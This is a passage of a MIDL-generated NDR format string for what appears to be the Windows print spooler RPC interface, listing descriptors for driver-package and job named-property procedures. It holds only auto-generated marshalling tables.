),\t/* 0 */\n/* 5554 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum100NotUsedOnWire */\n\n/* 5556 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5558 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5562 */\tNdrFcShort( 0x64 ),\t/* 100 */\n/* 5564 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5566 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5568 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5570 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5572 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5574 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5576 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5578 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5580 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5582 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5584 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum101NotUsedOnWire */\n\n/* 5586 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5588 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5592 */\tNdrFcShort( 0x65 ),\t/* 101 */\n/* 5594 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5596 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5598 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5600 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5602 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5604 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5606 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5608 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5610 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5612 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5614 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcGetCorePrinterDrivers */\n\n/* 5616 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5618 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5622 */\tNdrFcShort( 0x66 ),\t/* 102 */\n/* 5624 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 5626 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 5628 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5630 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5632 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 5634 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 5636 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 5638 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 5640 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5642 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5644 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5646 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 5648 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 5650 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5652 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszEnvironment */\n\n/* 5654 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5656 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5658 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter cchCoreDrivers */\n\n/* 5660 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5662 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5664 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszzCoreDriverDependencies */\n\n/* 5666 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5668 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5670 */\tNdrFcShort( 0x988 ),\t/* Type Offset=2440 */\n\n\t/* Parameter cCorePrinterDrivers */\n\n/* 5672 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5674 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5676 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pCorePrinterDrivers */\n\n/* 5678 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5680 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5682 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5684 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5686 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 5688 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum103NotUsedOnWire */\n\n/* 5690 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5692 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5696 */\tNdrFcShort( 0x67 ),\t/* 103 */\n/* 5698 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5700 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5702 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5704 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5706 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5708 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5710 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5712 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5714 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5716 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5718 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcGetPrinterDriverPackagePath */\n\n/* 5720 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5722 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5726 */\tNdrFcShort( 0x68 ),\t/* 104 */\n/* 5728 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 5730 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 5732 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5734 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5736 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5738 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 5740 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 5742 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 5744 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5746 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5748 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5750 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 5752 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 5754 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5756 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszEnvironment */\n\n/* 5758 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5760 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5762 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pszLanguage */\n\n/* 5764 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 5766 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5768 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszPackageID */\n\n/* 5770 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5772 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5774 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pszDriverPackageCab */\n\n/* 5776 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 5778 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5780 */\tNdrFcShort( 0x99e ),\t/* Type Offset=2462 */\n\n\t/* Parameter cchDriverPackageCab */\n\n/* 5782 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5784 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5786 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcchRequiredSize */\n\n/* 5788 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5790 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 5792 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5794 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5796 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 5798 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum105NotUsedOnWire */\n\n/* 5800 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5802 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5806 */\tNdrFcShort( 0x69 ),\t/* 105 */\n/* 5808 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5810 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5812 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5814 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5816 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5818 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5820 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5822 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5824 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5826 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5828 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum106NotUsedOnWire */\n\n/* 5830 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5832 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5836 */\tNdrFcShort( 0x6a ),\t/* 106 */\n/* 5838 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5840 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5842 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5844 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5846 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5848 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5850 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5852 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5854 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5856 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5858 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum107NotUsedOnWire */\n\n/* 5860 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5862 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5866 */\tNdrFcShort( 0x6b ),\t/* 107 */\n/* 5868 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5870 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5872 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5874 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5876 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5878 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5880 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5882 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5884 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5886 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5888 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum108NotUsedOnWire */\n\n/* 5890 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5892 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5896 */\tNdrFcShort( 0x6c ),\t/* 108 */\n/* 5898 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5900 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5902 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5904 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5906 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5908 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5910 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5912 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5914 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5916 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5918 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum109NotUsedOnWire */\n\n/* 5920 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5922 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5926 */\tNdrFcShort( 0x6d ),\t/* 109 */\n/* 5928 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5930 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5932 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5934 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5936 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5938 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5940 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5942 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5944 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5946 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5948 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcGetJobNamedPropertyValue */\n\n/* 5950 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5952 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5956 */\tNdrFcShort( 0x6e ),\t/* 110 */\n/* 5958 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5960 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 5962 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5964 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 5966 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 5968 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 5970 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 5972 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5974 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5976 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5978 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5980 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 5982 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 5984 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5986 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 5988 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5990 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5992 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszName */\n\n/* 5994 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5996 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5998 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pValue */\n\n/* 6000 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 6002 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6004 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 6006 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6008 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 6010 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSetJobNamedProperty */\n\n/* 6012 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 6014 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6018 */\tNdrFcShort( 0x6f ),\t/* 111 */\n/* 6020 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 6022 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 6024 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6026 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 6028 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 6030 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 6032 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 6034 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 6036 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6038 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6040 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6042 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 6044 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 6046 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6048 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 6050 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 6052 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 6054 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pProperty */\n\n/* 6056 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 6058 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 6060 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 6062 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6064 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6066 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeleteJobNamedProperty */\n\n/* 6068 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 6070 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6074 */\tNdrFcShort( 0x70 ),\t/* 112 */\n/* 6076 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 6078 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 6080 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6082 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 6084 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 6086 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 6088 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 6090 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 6092 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6094 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6096 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6098 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 6100 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 6102 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6104 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 6106 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 6108 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 6110 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszName */\n\n/* 6112 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 6114 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 6116 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 6118 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6120 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6122 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumJobNamedProperties */\n\n/* 6124 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 6126 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6130 */\tNdrFcShort( 0x71 ),\t/* 113 */\n/* 6132 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 6134 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 6136 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6138 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 6140 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 6142 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 6144 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 6146 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 6148 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6150 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6152 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6154 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 6156 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 6158 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6160 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 6162 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 6164 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 6166 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcProperties */\n\n/* 6168 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 6170 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 6172 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ppProperties */\n\n/* 6174 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 6176 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6178 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 6180 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6182 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 6184 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc114 */\n\n/* 6186 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 6188 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6192 */\tNdrFcShort( 0x72 ),\t/* 114 */\n/* 6194 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6196 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 6198 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6200 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6202 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 6204 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 6206 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 6208 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6210 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6212 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6214 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_0 */\n\n/* 6216 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 6218 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 